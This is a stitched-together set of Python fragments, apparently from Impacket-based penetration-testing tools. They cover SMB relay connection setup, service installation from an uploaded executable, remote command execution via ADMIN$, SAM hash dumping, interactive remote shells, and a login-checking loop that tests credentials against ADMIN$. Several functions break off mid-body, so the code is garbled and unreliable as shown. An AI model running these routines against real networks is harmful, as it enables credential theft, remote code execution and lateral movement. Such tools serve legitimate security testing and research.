def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug("Error while logging into %r using user: %s, password: '******', LM hash: %s, NTLM hash: %s: %s",
host, username, password, lm_hash, ntlm_hash, exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
class SMBAttack(Thread):
def __init__(self, config, SMBClient, exeFile, command):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__exeFile = exeFile
self.__command = command
self.__answerTMP = ''
if exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.__exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
return
try:
if self.__command is not None:
remoteOps._RemoteOperations__executeRemote(self.__command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally:
class Pipes(Thread):
def __init__(self, transport, pipe, permissions, share=None):
Thread.__init__(self)
self.server = 0
self.transport = transport
self.credentials = transport.get_credentials()
self.tid = 0
self.fid = 0
self.share = share
self.port = transport.get_dport()
self.pipe = pipe
self.permissions = permissions
self.daemon = True
def connectPipe(self):
try:
lock.acquire()
global dialect
#self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
else:
self.server.login(user, passwd, domain, lm, nt)
lock.release()
self.tid = self.server.connectTree('IPC$')
self.server.waitNamedPipe(self.tid, self.pipe)
self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80)
self.server.setTimeout(1000000)
except:
logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__)
def initConnection(self):
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
try:
packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2, data=data)
except socketerror as e:
if 'reset by peer' in str(e):
if not self.serverConfig.smb2support:
LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
else:
LOG.error('SMBCLient error: Connection was reset')
else:
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0:1] == b'\xfe':
smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
existingConnection=smbClient, manualNegotiate=True)
return True
def create_connection(self):
if self.dialects == smb.SMB_DIALECT:
# Only for SMB1 let's do manualNego
s = SMBConnection('*SMBSERVER', self.machine, preferredDialect = self.dialects, manualNegotiate=True)
s.negotiateSession(self.dialects, flags2=self.flags2)
else:
s = SMBConnection('*SMBSERVER', self.machine, preferredDialect = self.dialects)
return s
def create_connection(self):
if self.dialects == smb.SMB_DIALECT:
# Only for SMB1 let's do manualNego
s = SMBConnection(self.serverName, self.machine, preferredDialect = self.dialects, sess_port = self.sessPort, manualNegotiate=True)
s.negotiateSession(self.dialects, flags2=self.flags2)
else:
s = SMBConnection(self.serverName, self.machine, preferredDialect = self.dialects, sess_port = self.sessPort)
return s
def setup_smb_connection(self):
if not self.__smb_connection:
if self.__remote_name == '':
if self.get_dport() == nmb.NETBIOS_SESSION_PORT:
self.__smb_connection = SMBConnection('*SMBSERVER', self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
else:
self.__smb_connection = SMBConnection(self.get_dip(), self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
else:
self.__smb_connection = SMBConnection(self.__remote_name, self.get_dip(), sess_port = self.get_dport(),preferredDialect = self.__prefDialect)
def test_NT_logon(self):
"""
Test NTLM logon with NT hash
"""
creds = copy.deepcopy(self.creds)
creds.password = None
creds.lm_hash = None
smb_client = SMBConnection(testtarget)
smb_client.autologin(creds)
def test_plaintext_logon(self):
"""
Test NTLM logon using plaintext
"""
creds = copy.deepcopy(self.creds)
creds.lm_hash = None
creds.nt_hash = None
smb_client = SMBConnection(testtarget)
smb_client.autologin(creds)
class RegHandler:
def __init__(self, username, password, domain, options):
self.__username = username
self.__password = password
self.__domain = domain
self.__options = options
self.__action = options.action.upper()
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = options.aesKey
self.__doKerberos = options.k
self.__kdcHost = options.dc_ip
self.__smbConnection = None
self.__remoteOps = None
# It's possible that this is defined somewhere, but I couldn't find where
self.__regValues = {0: 'REG_NONE', 1: 'REG_SZ', 2: 'REG_EXPAND_SZ', 3: 'REG_BINARY', 4: 'REG_DWORD',
5: 'REG_DWORD_BIG_ENDIAN', 6: 'REG_LINK', 7: 'REG_MULTI_SZ', 11: 'REG_QWORD'}
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
def connect(self, remoteName, remoteHost):
self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def run(self, remoteName, remoteHost):
self.connect(remoteName, remoteHost)
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
try:
self.__remoteOps.enableRegistry()
except Exception, e:
print str(e)
logging.warning('Cannot check RemoteRegistry status. Hoping it is started...')
logging.debug(str(e))
self.__remoteOps.connectWinReg()
try:
dce = self.__remoteOps.getRRP()
if self.__action == 'QUERY':
self.query(dce, self.__options.keyName)
else:
logging.error('Method %s not implemented yet!' % self.__action)
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
logging.critical(str(e))
def connect_to_server(ip, credentials):
"""
Connects to server using given credentials
:param ip: IP of server
:param credentials: credentials to log in with
:return: SMBConnection object representing the connection
"""
smb_client = SMBConnection(ip, ip)
smb_client.login(
credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"])
return smb_client
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, TGS, share):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.TGS = TGS
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share)
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_get(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
pass
self.send_data('\r\n')
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt) as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class ServiceInstall:
def __init__(self, SMBObject, exeFile, serviceName=''):
self._rpctransport = 0
self.__service_name = serviceName if len(serviceName) > 0 else ''.join([random.choice(string.letters) for i in range(4)])
self.__binary_service_name = ''.join([random.choice(string.letters) for i in range(8)]) + '.exe'
self.__exeFile = exeFile
# We might receive two different types of objects, always end up
# with a SMBConnection one
if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
self.connection = SMBConnection(existingConnection = SMBObject)
else:
self.connection = SMBObject
self.share = ''
def getShare(self):
return self.share
def getShares(self):
# Setup up a DCE SMBTransport with the connection already in place
LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost()))
try:
self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(),
self.connection.getRemoteHost(),filename = r'\srvsvc',
smb_connection = self.connection)
dce_srvs = self._rpctransport.get_dce_rpc()
dce_srvs.connect()
dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
resp = srvs.hNetrShareEnum(dce_srvs, 1)
return resp['InfoStruct']['ShareInfo']['Level1']
except:
LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost()))
raise
def createService(self, handle, share, path):
LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost()))
# First we try to open the service in case it exists. If it does, we remove it.
try:
resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00')
except Exception, e:
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
# We're good, pass the exception
pass
else:
raise e
else:
def test_TGS_logon(self):
"""
Test Kerberos logon with using TGS ticket
"""
creds = copy.deepcopy(self.creds)
creds.plaintext = None
creds.kerberos_key_rc4 = None
creds.kerberos_key_des = None
creds.kerberos_key_aes_128 = None
creds.kerberos_key_aes_256 = None
creds.kerberos_tgt_ticket = None
creds.kerberos_ccache_file_name = None
smb_client = SMBConnection(testtarget)
smb_client.autologin(creds)
def test_plaintext_aes128_logon(self):
"""
Test Kerberos logon with plaintext password using AES128 cipher
"""
creds = copy.deepcopy(self.creds)
creds.kerberos_key_rc4 = None
creds.kerberos_key_des = None
creds.kerberos_key_aes_256 = None
creds.kerberos_key_aes_128 = None
creds.kerberos_tgt_ticket = None
creds.kerberos_tgs_ticket = None
creds.kerberos_ccache_file_name = None
smb_client = SMBConnection(testtarget)
smb_client.autologin(creds)
def connect(self):
self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
class doAttack(Thread):
def __init__(self, SMBClient, exeFile, command):
Thread.__init__(self)
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.__exeFile = exeFile
self.__command = command
if exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
def run(self):
# Here PUT YOUR CODE!
if self.__exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from secretsdump import RemoteOperations, SAMHashes
samHashes = None
remoteOps = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
if self.__command is not None:
remoteOps._RemoteOperations__executeRemote(self.__command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
else:
bootKey = remoteOps.getBootKey()
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally:
def main():
# Init the example's logger theme
hostname = 'DCSERVER'
ip = '192.168.9.1'
port = 445
domain = 'TEST.corp'
username = '******'
password = '******'
nt_hash = ''
lm_hash = ''
kerberos_key_aes_256 = 'd3f3593c9debec0be8db57b160f6b0f0c82fb4c0e5dcaa1e1e26ceddcfd05f60'
kerberos_key_aes_128 = 'fa021d1bf218a731bad4c19b5bcaae8c'
kerberos_key_des = 'b3644f0d983dd058'
kerberos_key_rc4 = None
#kerberos_tgt_ticket = None
#kerberos_tgs_ticket = None
#kerberos_ccache_file_name = None
#force_kerberos = False
#kerberos_ccache_file = None
target = SMBTarget()
target.ip = ip
target.hostname = hostname
target.port = port
creds = SMBCredential()
creds.domain = domain
creds.username = username
creds.password = password
creds.nt_hash = nt_hash
creds.lm_hash = lm_hash
creds.kerberos_key_aes_256 = kerberos_key_aes_256
creds.kerberos_key_aes_128 = kerberos_key_aes_128
creds.kerberos_key_des = kerberos_key_des
creds.kerberos_key_rc4 = nt_hash
try:
smb_client = SMBConnection(target, sess_port=target.port)
smb_client.autologin(target, creds)
except Exception as e:
traceback.print_exc()
print('Failed to log in!')
print('PASSED FIRST login')
def connect(self, remoteName, remoteHost):
self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))
if self.__doKerberos:
self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, self.__kdcHost)
else:
self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def setup_smb_connection(self):
if not self.__smb_connection:
self.__smb_connection = SMBConnection(
self.getRemoteName(),
self.getRemoteHost(),
sess_port=self.get_dport(),
preferredDialect=self.__prefDialect,
)
def connect_transferClient(self):
#self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS)
else:
self.transferClient.login(user, passwd, domain, lm, nt)
def enum_host_info(self):
try:
smb_conn = SMBConnection(self.host, self.host, None)
try:
smb_conn.login('', '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
self.domain = smb_conn.getServerDomain()
self.hostname = smb_conn.getServerName()
self.logger.extra['hostname'] = self.hostname
try:
smb_conn.logoff()
except:
pass
except Exception as e:
logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
def get_gpttmpl(self, gpttmpl_path):
content_io = StringIO()
gpttmpl_path_split = gpttmpl_path.split('\\')
target = gpttmpl_path_split[2]
share = gpttmpl_path_split[3]
file_name = '\\'.join(gpttmpl_path_split[4:])
smb_connection = SMBConnection(remoteName=target, remoteHost=target)
# TODO: kerberos login
smb_connection.login(self._user, self._password, self._domain,
self._lmhash, self._nthash)
smb_connection.connectTree(share)
smb_connection.getFile(share, file_name, content_io.write)
try:
content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '')
except UnicodeDecodeError:
content = content_io.getvalue().replace('\r', '')
gpttmpl_final = GptTmpl(list())
for l in content.split('\n'):
if l.startswith('['):
section_name = l.strip('[]').replace(' ', '').lower()
setattr(gpttmpl_final, section_name, Policy(list()))
elif '=' in l:
property_name, property_values = [x.strip() for x in l.split('=')]
if ',' in property_values:
property_values = property_values.split(',')
setattr(getattr(gpttmpl_final, section_name), property_name, property_values)
return gpttmpl_final
def getMachineName(self):
if self.__kdcHost is not None:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__domain, self.__domain)
try:
s.login('', '')
except Exception:
if s.getServerName() == '':
raise('Error while anonymous logging into %s' % self.__domain)
else:
s.logoff()
return s.getServerName()
def __init__(self, SMBClient, exeFile):
Thread.__init__(self)
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.__exeFile = exeFile
if exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
def getMachineName(self):
if self.__kdcHost is not None and self.__targetDomain == self.__domain:
s = SMBConnection(self.__kdcHost, self.__kdcHost)
else:
s = SMBConnection(self.__targetDomain, self.__targetDomain)
try:
s.login('', '')
except Exception:
if s.getServerName() == '':
raise 'Error while anonymous logging into %s'
else:
try:
s.logoff()
except Exception:
# We don't care about exceptions here as we already have the required
# information. This also works around the current SMB3 bug
pass
return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
class doAttack():
# class doAttack(Thread):
def __init__(self, SMBClient, command):
# Thread.__init__(self)
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
self.__command = command
self.__answerTMP = ''
def __answer(self, data):
self.__answerTMP += data
def run(self):
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
print str(e)
return False
try:
remoteOps._RemoteOperations__executeRemote(self.__command)
# print "Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
except Exception, e:
print str(e)
self.__answerTMP = 'ERROR'
def __init__(self, config, SMBClient, exeFile, command):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__exeFile = exeFile
self.__command = command
self.__answerTMP = ''
if exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
def __init__(self, SMBObject, exeFile, serviceName=''):
self._rpctransport = 0
self.__service_name = serviceName if len(serviceName) > 0 else ''.join([random.choice(string.letters) for i in range(4)])
self.__binary_service_name = ''.join([random.choice(string.letters) for i in range(8)]) + '.exe'
self.__exeFile = exeFile
# We might receive two different types of objects, always end up
# with a SMBConnection one
if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
self.connection = SMBConnection(existingConnection = SMBObject)
else:
self.connection = SMBObject
self.share = ''
class RemoteShell(cmd.Cmd):
def __init__(self, server, port, credentials, tid, fid, share, transport):
cmd.Cmd.__init__(self, False)
self.prompt = '\x08'
self.server = server
self.transferClient = None
self.tid = tid
self.fid = fid
self.credentials = credentials
self.share = share
self.port = port
self.transport = transport
self.intro = '[!] Press help for extra shell commands'
def connect_transferClient(self):
#self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT)
self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port,
preferredDialect=dialect)
user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials
if self.transport.get_kerberos() is True:
self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey,
kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS)
else:
self.transferClient.login(user, passwd, domain, lm, nt)
def do_help(self, line):
print("""
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
lput {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s)
lget {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir
! {cmd} - executes a local shell cmd
""" % (self.share, self.share))
self.send_data('\r\n', False)
def do_shell(self, s):
os.system(s)
self.send_data('\r\n')
def do_lget(self, src_path):
try:
if self.transferClient is None:
self.connect_transferClient()
import ntpath
filename = ntpath.basename(src_path)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (self.share, src_path))
self.transferClient.getFile(self.share, src_path, fh.write)
fh.close()
except Exception as e:
logging.critical(str(e))
pass
self.send_data('\r\n')
def do_lput(self, s):
try:
if self.transferClient is None:
self.connect_transferClient()
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = '/'
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
f = dst_path + '/' + src_file
pathname = f.replace('/','\\')
logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path))
self.transferClient.putFile(self.share, pathname, fh.read)
fh.close()
except Exception as e:
logging.error(str(e))
pass
self.send_data('\r\n')
def do_lcd(self, s):
if s == '':
print(os.getcwd())
else:
os.chdir(s)
self.send_data('\r\n')
def emptyline(self):
self.send_data('\r\n')
return
def default(self, line):
self.send_data(line.encode(CODEC)+b'\r\n')
def send_data(self, data, hideOutput = True):
if hideOutput is True:
global LastDataSent
LastDataSent = data
else:
LastDataSent = ''
self.server.writeFile(self.tid, self.fid, data)
def login(host, args):
try:
smbconn = SMBConnection(host, host,
timeout=args.timeout) # throws socket.error
except Exception as e:
sys.stdout.write('{} {}\\{} {}\n'.format(
host, args.domain, args.username + ':' + args.password,
'ConnectionError'))
return
error_code = STATUS_SUCCESS
try:
if args.nthash:
smbconn.login(args.username,
'',
nthash=args.password,
domain=args.domain)
elif args.lmhash:
smbconn.login(args.username,
'',
lmhash=args.password,
domain=args.domain)
else:
smbconn.login(args.username, args.password, domain=args.domain)
except impacket.smbconnection.SessionError as e:
error_code = e.getErrorCode()
if error_code != STATUS_SUCCESS:
status = 'LoginError'
if error_code == STATUS_LOGON_FAILURE:
status = 'Failure'
if args.domain != '.' and smbconn.getServerDomain() != '':
sys.stdout.write('{} {}\\{} {}\n'.format(
host, args.domain, args.username + ':' + args.password,
status))
raise DomainLoginError(
'Aborting: domain creds are invalid, preventing lockout')
sys.stdout.write('{} {}\\{} {}\n'.format(
host, args.domain, args.username + ':' + args.password, status))
return
try:
# for s in smbconn.listShares():
# print(s['shi1_netname'][:-1])
smbconn.connectTree(r'ADMIN$')
status = 'Success:ADMIN'
except Exception as e:
error_code = e.getErrorCode()
if error_code != STATUS_SUCCESS:
status = 'ConnectTreeError ' + hex(error_code)
if smbconn.isGuestSession():
status = 'Guest'
elif error_code == STATUS_ACCESS_DENIED:
status = 'Success'
elif error_code == STATUS_BAD_NETWORK_NAME:
# ADMIN$ doesn't exist, probably Samba
status = 'ShareNameError'
sys.stdout.write('{} {}\\{} {}\n'.format(
host, args.domain, args.username + ':' + args.password, status))
try:
smbconn.logoff()
except:
pass
def initConnection(self):
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
manualNegotiate=True)
#,preferredDialect=SMB_DIALECT)
if self.serverConfig.smb2support is True:
data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
else:
data = '\x02NT LM 0.12\x00'
if self.extendedSecurity is True:
flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
else:
flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
try:
packet = self.session.negotiateSessionWildcard(
None,
self.targetHost,
self.targetHost,
self.targetPort,
60,
self.extendedSecurity,
flags1=SMB.FLAGS1_PATHCASELESS
| SMB.FLAGS1_CANONICALIZED_PATHS,
flags2=flags2,
data=data)
except socketerror as e:
if 'reset by peer' in str(e):
if not self.serverConfig.smb2support:
LOG.error(
'SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
)
else:
LOG.error('SMBCLient error: Connection was reset')
else:
LOG.error('SMBCLient error: %s' % str(e))
return False
if packet[0:1] == b'\xfe':
preferredDialect = None
# Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
if self.serverConfig.remove_target:
preferredDialect = SMB2_DIALECT_21
smbClient = MYSMB3(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet,
preferredDialect=preferredDialect)
else:
# Answer is SMB packet, sticking to SMBv1
smbClient = MYSMB(self.targetHost,
self.targetPort,
self.extendedSecurity,
nmbSession=self.session.getNMBServer(),
negPacket=packet)
self.session = SMBConnection(self.targetHost,
self.targetHost,
sess_port=self.targetPort,
existingConnection=smbClient,
manualNegotiate=True)
return True
def _get_groupsxml(self, groupsxml_path, gpo_display_name):
gpo_groups = list()
content_io = StringIO()
groupsxml_path_split = groupsxml_path.split('\\')
gpo_name = groupsxml_path_split[6]
target = self._domain_controller
share = groupsxml_path_split[3]
file_name = '\\'.join(groupsxml_path_split[4:])
smb_connection = SMBConnection(remoteName=target, remoteHost=target)
# TODO: kerberos login
smb_connection.login(self._user, self._password, self._domain,
self._lmhash, self._nthash)
smb_connection.connectTree(share)
try:
smb_connection.getFile(share, file_name, content_io.write)
except SessionError:
return list()
content = content_io.getvalue().replace('\r', '')
groupsxml_soup = BeautifulSoup(content, 'xml')
for group in groupsxml_soup.find_all('Group'):
members = list()
memberof = list()
local_sid = group.Properties.get('groupSid', str())
if not local_sid:
if 'administrators' in group.Properties['groupName'].lower():
local_sid = 'S-1-5-32-544'
elif 'remote desktop' in group.Properties['groupName'].lower():
local_sid = 'S-1-5-32-555'
else:
